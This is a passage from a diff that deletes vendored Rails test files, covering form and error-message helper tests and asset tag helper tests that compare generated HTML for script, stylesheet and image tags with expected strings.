-      %(<div class="fieldWithErrors"><input id="post_author_name" name="post[author_name]" size="30" type="text" value="" /></div>),
-      text_field("post", "author_name")
-    )
-  end
-
-  def test_form_with_string
-    assert_dom_equal(
-      %(<form action="create" method="post"><p><label for="post_title">Title</label><br /><input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /></p>\n<p><label for="post_body">Body</label><br /><div class="fieldWithErrors"><textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea></div></p><input name="commit" type="submit" value="Create" /></form>),
-      form("post")
-    )
-
-    silence_warnings do
-      class << @post
-        def new_record?() false end
-        def to_param() id end
-        def id() 1 end
-      end
-    end
-
-    assert_dom_equal(
-      %(<form action="update/1" method="post"><input id="post_id" name="post[id]" type="hidden" value="1" /><p><label for="post_title">Title</label><br /><input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /></p>\n<p><label for="post_body">Body</label><br /><div class="fieldWithErrors"><textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea></div></p><input name="commit" type="submit" value="Update" /></form>),
-      form("post")
-    )
-  end
-
-  def test_form_with_protect_against_forgery
-    @protect_against_forgery = true
-    @request_forgery_protection_token = 'authenticity_token'
-    @form_authenticity_token = '123'
-    assert_dom_equal(
-      %(<form action="create" method="post"><div style='margin:0;padding:0;display:inline'><input type='hidden' name='authenticity_token' value='123' /></div><p><label for="post_title">Title</label><br /><input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /></p>\n<p><label for="post_body">Body</label><br /><div class="fieldWithErrors"><textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea></div></p><input name="commit" type="submit" value="Create" /></form>),
-      form("post")
-    )
-  end
-
-  def test_form_with_method_option
-    assert_dom_equal(
-      %(<form action="create" method="get"><p><label for="post_title">Title</label><br /><input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /></p>\n<p><label for="post_body">Body</label><br /><div class="fieldWithErrors"><textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea></div></p><input name="commit" type="submit" value="Create" /></form>),
-      form("post", :method=>'get')
-    )
-  end
-
-  def test_form_with_action_option
-    output_buffer << form("post", :action => "sign")
-    assert_select "form[action=sign]" do |form|
-      assert_select "input[type=submit][value=Sign]"
-    end
-  end
-
-  def test_form_with_date
-    silence_warnings do
-      def Post.content_columns() [ Column.new(:date, "written_on", "Written on") ] end
-    end
-
-    assert_dom_equal(
-      %(<form action="create" method="post"><p><label for="post_written_on">Written on</label><br /><select id="post_written_on_1i" name="post[written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n<select id="post_written_on_2i" name="post[written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n<select id="post_written_on_3i" name="post[written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n</p><input name="commit" type="submit" value="Create" /></form>),
-      form("post")
-    )
-  end
-
-  def test_form_with_datetime
-    silence_warnings do
-      def Post.content_columns() [ Column.new(:datetime, "written_on", "Written on") ] end
-    end
-    @post.written_on  = Time.gm(2004, 6, 15, 16, 30)
-
-    assert_dom_equal(
-      %(<form action="create" method="post"><p><label for="post_written_on">Written on</label><br /><select id="post_written_on_1i" name="post[written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n<select id="post_written_on_2i" name="post[written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n<select id="post_written_on_3i" name="post[written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n &mdash; <select id="post_written_on_4i" name="post[written_on(4i)]">\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n</select>\n : <select id="post_written_on_5i" name="post[written_on(5i)]">\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30" selected="selected">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n</select>\n</p><input name="commit" type="submit" value="Create" /></form>),
-      form("post")
-    )
-  end
-
-  def test_error_for_block
-    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>1 error prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>), error_messages_for("post")
-    assert_equal %(<div class="errorDeathByClass" id="errorDeathById"><h1>1 error prohibited this post from being saved</h1><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>), error_messages_for("post", :class => "errorDeathByClass", :id => "errorDeathById", :header_tag => "h1")
-    assert_equal %(<div id="errorDeathById"><h1>1 error prohibited this post from being saved</h1><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>), error_messages_for("post", :class => nil, :id => "errorDeathById", :header_tag => "h1")
-    assert_equal %(<div class="errorDeathByClass"><h1>1 error prohibited this post from being saved</h1><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>), error_messages_for("post", :class => "errorDeathByClass", :id => nil, :header_tag => "h1")
-  end
-
-  def test_error_messages_for_escapes_html
-    @dirty_post = DirtyPost.new
-    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>1 error prohibited this dirty post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be &lt;em&gt;empty&lt;/em&gt;</li></ul></div>), error_messages_for("dirty_post")
-  end
-
-  def test_error_messages_for_handles_nil
-    assert_equal "", error_messages_for("notthere")
-  end
-
-  def test_error_message_on_escapes_html
-    @dirty_post = DirtyPost.new
-    assert_dom_equal "<div class=\"formError\">can't be &lt;em&gt;empty&lt;/em&gt;</div>", error_message_on(:dirty_post, :author_name)
-  end
-
-  def test_error_message_on_handles_nil
-    assert_equal "", error_message_on("notthere", "notthere")
-  end
-
-  def test_error_message_on
-    assert_dom_equal "<div class=\"formError\">can't be empty</div>", error_message_on(:post, :author_name)
-  end
-
-  def test_error_message_on_no_instance_variable
-    other_post = @post
-    assert_dom_equal "<div class=\"formError\">can't be empty</div>", error_message_on(other_post, :author_name)
-  end
-
-  def test_error_message_on_with_options_hash
-    assert_dom_equal "<div class=\"differentError\">beforecan't be emptyafter</div>", error_message_on(:post, :author_name, :css_class => 'differentError', :prepend_text => 'before', :append_text => 'after')
-  end
-
-  def test_error_messages_for_many_objects
-    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>2 errors prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li><li>User email can't be empty</li></ul></div>), error_messages_for("post", "user")
-
-    # reverse the order, error order changes and so does the title
-    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>2 errors prohibited this user from being saved</h2><p>There were problems with the following fields:</p><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for("user", "post")
-
-    # add the default to put post back in the title
-    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>2 errors prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for("user", "post", :object_name => "post")
-
-    # symbols work as well
-    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>2 errors prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for(:user, :post, :object_name => :post)
-
-    # any default works too
-    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>2 errors prohibited this monkey from being saved</h2><p>There were problems with the following fields:</p><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for(:user, :post, :object_name => "monkey")
-
-    # should space object name
-    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>2 errors prohibited this chunky bacon from being saved</h2><p>There were problems with the following fields:</p><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for(:user, :post, :object_name => "chunky_bacon")
-
-    # hide header and explanation messages with nil or empty string
-    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for(:user, :post, :header_message => nil, :message => "")
-
-    # override header and explanation messages
-    header_message = "Yikes! Some errors"
-    message = "Please fix the following fields and resubmit:"
-    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>#{header_message}</h2><p>#{message}</p><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for(:user, :post, :header_message => header_message, :message => message)
-  end
-
-  def test_error_messages_for_non_instance_variable
-    actual_user = @user
-    actual_post = @post
-    @user = nil
-    @post = nil
-
-  #explicitly set object
-    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>1 error prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>), error_messages_for("post", :object => actual_post)
-
-  #multiple objects
-    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>2 errors prohibited this user from being saved</h2><p>There were problems with the following fields:</p><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for("user", "post", :object => [actual_user, actual_post])
-
-  #nil object
-    assert_equal '', error_messages_for('user', :object => nil)
-  end
-
-  def test_form_with_string_multipart
-    assert_dom_equal(
-      %(<form action="create" enctype="multipart/form-data" method="post"><p><label for="post_title">Title</label><br /><input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /></p>\n<p><label for="post_body">Body</label><br /><div class="fieldWithErrors"><textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea></div></p><input name="commit" type="submit" value="Create" /></form>),
-      form("post", :multipart => true)
-    )
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/asset_tag_helper_test.rb b/vendor/rails/actionpack/test/template/asset_tag_helper_test.rb
deleted file mode 100644
index a4e0d264..00000000
--- a/vendor/rails/actionpack/test/template/asset_tag_helper_test.rb
+++ /dev/null
@@ -1,770 +0,0 @@
-require 'abstract_unit'
-
-class AssetTagHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::AssetTagHelper
-
-  def setup
-    silence_warnings do
-      ActionView::Helpers::AssetTagHelper.send(
-        :const_set,
-        :JAVASCRIPTS_DIR,
-        File.dirname(__FILE__) + "/../fixtures/public/javascripts"
-      )
-
-      ActionView::Helpers::AssetTagHelper.send(
-        :const_set,
-        :STYLESHEETS_DIR,
-        File.dirname(__FILE__) + "/../fixtures/public/stylesheets"
-      )
-
-      ActionView::Helpers::AssetTagHelper.send(
-        :const_set,
-        :ASSETS_DIR,
-        File.dirname(__FILE__) + "/../fixtures/public"
-      )
-    end
-
-    @controller = Class.new do
-      attr_accessor :request
-      def url_for(*args) "http://www.example.com" end
-    end.new
-
-    @request = Class.new do
-      def protocol() 'http://' end
-      def ssl?() false end
-      def host_with_port() 'localhost' end
-    end.new
-
-    @controller.request = @request
-
-    ActionView::Helpers::AssetTagHelper::reset_javascript_include_default
-  end
-
-  def teardown
-    ActionController::Base.perform_caching = false
-    ActionController::Base.asset_host = nil
-    ENV.delete('RAILS_ASSET_ID')
-  end
-
-  AutoDiscoveryToTag = {
-    %(auto_discovery_link_tag) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
-    %(auto_discovery_link_tag(:rss)) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
-    %(auto_discovery_link_tag(:atom)) => %(<link href="http://www.example.com" rel="alternate" title="ATOM" type="application/atom+xml" />),
-    %(auto_discovery_link_tag(:xml)) => %(<link href="http://www.example.com" rel="alternate" title="XML" type="application/xml" />),
-    %(auto_discovery_link_tag(:rss, :action => "feed")) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
-    %(auto_discovery_link_tag(:rss, "http://localhost/feed")) => %(<link href="http://localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
-    %(auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
-    %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
-    %(auto_discovery_link_tag(nil, {}, {:type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="" type="text/html" />),
-    %(auto_discovery_link_tag(nil, {}, {:title => "No stream.. really", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="No stream.. really" type="text/html" />),
-    %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="text/html" />),
-    %(auto_discovery_link_tag(:atom, {}, {:rel => "Not so alternate"})) => %(<link href="http://www.example.com" rel="Not so alternate" title="ATOM" type="application/atom+xml" />),
-  }
-
-  JavascriptPathToTag = {
-    %(javascript_path("xmlhr")) => %(/javascripts/xmlhr.js),
-    %(javascript_path("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
-    %(javascript_path("/super/xmlhr.js")) => %(/super/xmlhr.js)
-  }
-
-  PathToJavascriptToTag = {
-    %(path_to_javascript("xmlhr")) => %(/javascripts/xmlhr.js),
-    %(path_to_javascript("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
-    %(path_to_javascript("/super/xmlhr.js")) => %(/super/xmlhr.js)
-  }
-
-  JavascriptIncludeToTag = {
-    %(javascript_include_tag("xmlhr")) => %(<script src="/javascripts/xmlhr.js" type="text/javascript"></script>),
-    %(javascript_include_tag("xmlhr.js")) => %(<script src="/javascripts/xmlhr.js" type="text/javascript"></script>),
-    %(javascript_include_tag("xmlhr", :lang => "vbscript")) => %(<script lang="vbscript" src="/javascripts/xmlhr.js" type="text/javascript"></script>),
-    %(javascript_include_tag("common.javascript", "/elsewhere/cools")) => %(<script src="/javascripts/common.javascript" type="text/javascript"></script>\n<script src="/elsewhere/cools.js" type="text/javascript"></script>),
-    %(javascript_include_tag(:defaults)) => %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>),
-    %(javascript_include_tag(:all)) => %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>),
-    %(javascript_include_tag(:all, :recursive => true)) => %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/subdir/subdir.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>),
-    %(javascript_include_tag(:defaults, "test")) => %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/test.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>),
-    %(javascript_include_tag("test", :defaults)) => %(<script src="/javascripts/test.js" type="text/javascript"></script>\n<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>)
-  }
-
-  StylePathToTag = {
-    %(stylesheet_path("style")) => %(/stylesheets/style.css),
-    %(stylesheet_path("style.css")) => %(/stylesheets/style.css),
-    %(stylesheet_path('dir/file')) => %(/stylesheets/dir/file.css),
-    %(stylesheet_path('/dir/file.rcss')) => %(/dir/file.rcss)
-  }
-
-  PathToStyleToTag = {
-    %(path_to_stylesheet("style")) => %(/stylesheets/style.css),
-    %(path_to_stylesheet("style.css")) => %(/stylesheets/style.css),
-    %(path_to_stylesheet('dir/file')) => %(/stylesheets/dir/file.css),
-    %(path_to_stylesheet('/dir/file.rcss')) => %(/dir/file.rcss)
-  }
-
-  StyleLinkToTag = {
-    %(stylesheet_link_tag("style")) => %(<link href="/stylesheets/style.css" media="screen" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag("style.css")) => %(<link href="/stylesheets/style.css" media="screen" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag("/dir/file")) => %(<link href="/dir/file.css" media="screen" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag("dir/file")) => %(<link href="/stylesheets/dir/file.css" media="screen" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag("style", :media => "all")) => %(<link href="/stylesheets/style.css" media="all" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag(:all)) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag(:all, :recursive => true)) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag(:all, :media => "all")) => %(<link href="/stylesheets/bank.css" media="all" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="all" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="all" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag("random.styles", "/css/stylish")) => %(<link href="/stylesheets/random.styles" media="screen" rel="stylesheet" type="text/css" />\n<link href="/css/stylish.css" media="screen" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag("http://www.example.com/styles/style")) => %(<link href="http://www.example.com/styles/style.css" media="screen" rel="stylesheet" type="text/css" />)
-  }
-
-  ImagePathToTag = {
-    %(image_path("xml"))          => %(/images/xml),
-    %(image_path("xml.png"))      => %(/images/xml.png),
-    %(image_path("dir/xml.png"))  => %(/images/dir/xml.png),
-    %(image_path("/dir/xml.png")) => %(/dir/xml.png)
-  }
-
-  PathToImageToTag = {
-    %(path_to_image("xml"))          => %(/images/xml),
-    %(path_to_image("xml.png"))      => %(/images/xml.png),
-    %(path_to_image("dir/xml.png"))  => %(/images/dir/xml.png),
-    %(path_to_image("/dir/xml.png")) => %(/dir/xml.png)
-  }
-
-  ImageLinkToTag = {
-    %(image_tag("xml.png")) => %(<img alt="Xml" src="/images/xml.png" />),
-    %(image_tag("rss.gif", :alt => "rss syndication")) => %(<img alt="rss syndication" src="/images/rss.gif" />),
-    %(image_tag("gold.png", :size => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
-    %(image_tag("gold.png", "size" => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
-    %(image_tag("error.png", "size" => "45")) => %(<img alt="Error" src="/images/error.png" />),
-    %(image_tag("error.png", "size" => "45 x 70")) => %(<img alt="Error" src="/images/error.png" />),
-    %(image_tag("error.png", "size" => "x")) => %(<img alt="Error" src="/images/error.png" />),
-    %(image_tag("http://www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="http://www.rubyonrails.com/images/rails.png" />),
-    %(image_tag("http://www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="http://www.rubyonrails.com/images/rails.png" />),
-    %(image_tag("mouse.png", :mouseover => "/images/mouse_over.png")) => %(<img alt="Mouse" onmouseover="this.src='/images/mouse_over.png'" onmouseout="this.src='/images/mouse.png'" src="/images/mouse.png" />),
-    %(image_tag("mouse.png", :mouseover => image_path("mouse_over.png"))) => %(<img alt="Mouse" onmouseover="this.src='/images/mouse_over.png'" onmouseout="this.src='/images/mouse.png'" src="/images/mouse.png" />)
-  }
-
-
-  def test_auto_discovery_link_tag
-    AutoDiscoveryToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_javascript_path
-    JavascriptPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_path_to_javascript_alias_for_javascript_path
-    PathToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_javascript_include_tag_with_blank_asset_id
-    ENV["RAILS_ASSET_ID"] = ""
-    JavascriptIncludeToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_javascript_include_tag_with_given_asset_id
-    ENV["RAILS_ASSET_ID"] = "1"
-    assert_dom_equal(%(<script src="/javascripts/prototype.js?1" type="text/javascript"></script>\n<script src="/javascripts/effects.js?1" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js?1" type="text/javascript"></script>\n<script src="/javascripts/controls.js?1" type="text/javascript"></script>\n<script src="/javascripts/application.js?1" type="text/javascript"></script>), javascript_include_tag(:defaults))
-  end
-
-  def test_javascript_include_tag_is_html_safe
-    assert javascript_include_tag(:defaults).html_safe?
-    assert javascript_include_tag("prototype").html_safe?
-  end
-
-  def test_register_javascript_include_default
-    ENV["RAILS_ASSET_ID"] = ""
-    ActionView::Helpers::AssetTagHelper::register_javascript_include_default 'slider'
-    assert_dom_equal  %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/slider.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>), javascript_include_tag(:defaults)
-  end
-
-  def test_register_javascript_include_default_mixed_defaults
-    ENV["RAILS_ASSET_ID"] = ""
-    ActionView::Helpers::AssetTagHelper::register_javascript_include_default 'slider'
-    ActionView::Helpers::AssetTagHelper::register_javascript_include_default 'lib1', '/elsewhere/blub/lib2'
-    assert_dom_equal  %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/slider.js" type="text/javascript"></script>\n<script src="/javascripts/lib1.js" type="text/javascript"></script>\n<script src="/elsewhere/blub/lib2.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>), javascript_include_tag(:defaults)
-  end
-
-  def test_custom_javascript_expansions
-    ActionView::Helpers::AssetTagHelper::register_javascript_expansion :monkey => ["head", "body", "tail"]
-    assert_dom_equal  %(<script src="/javascripts/first.js" type="text/javascript"></script>\n<script src="/javascripts/head.js" type="text/javascript"></script>\n<script src="/javascripts/body.js" type="text/javascript"></script>\n<script src="/javascripts/tail.js" type="text/javascript"></script>\n<script src="/javascripts/last.js" type="text/javascript"></script>), javascript_include_tag('first', :monkey, 'last')
-  end
-
-  def test_custom_javascript_expansions_and_defaults_puts_application_js_at_the_end
-    ENV["RAILS_ASSET_ID"] = ""
-    ActionView::Helpers::AssetTagHelper::register_javascript_expansion :monkey => ["head", "body", "tail"]
-    assert_dom_equal  %(<script src="/javascripts/first.js" type="text/javascript"></script>\n<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/head.js" type="text/javascript"></script>\n<script src="/javascripts/body.js" type="text/javascript"></script>\n<script src="/javascripts/tail.js" type="text/javascript"></script>\n<script src="/javascripts/last.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>), javascript_include_tag('first', :defaults, :monkey, 'last')
-  end
-
-  def test_custom_javascript_expansions_with_undefined_symbol
-    ActionView::Helpers::AssetTagHelper::register_javascript_expansion :monkey => nil
-    assert_raise(ArgumentError) { javascript_include_tag('first', :monkey, 'last') }
-  end
-
-  def test_stylesheet_path
-    StylePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_path_to_stylesheet_alias_for_stylesheet_path
-    PathToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_stylesheet_link_tag
-    ENV["RAILS_ASSET_ID"] = ""
-    StyleLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_stylesheet_link_tag_is_html_safe
-    ENV["RAILS_ASSET_ID"] = ""
-    assert stylesheet_link_tag('dir/file').html_safe?
-    assert stylesheet_link_tag('dir/other/file', 'dir/file2').html_safe?
-    assert stylesheet_tag('dir/file', {}).html_safe?
-  end
-
-  def test_custom_stylesheet_expansions
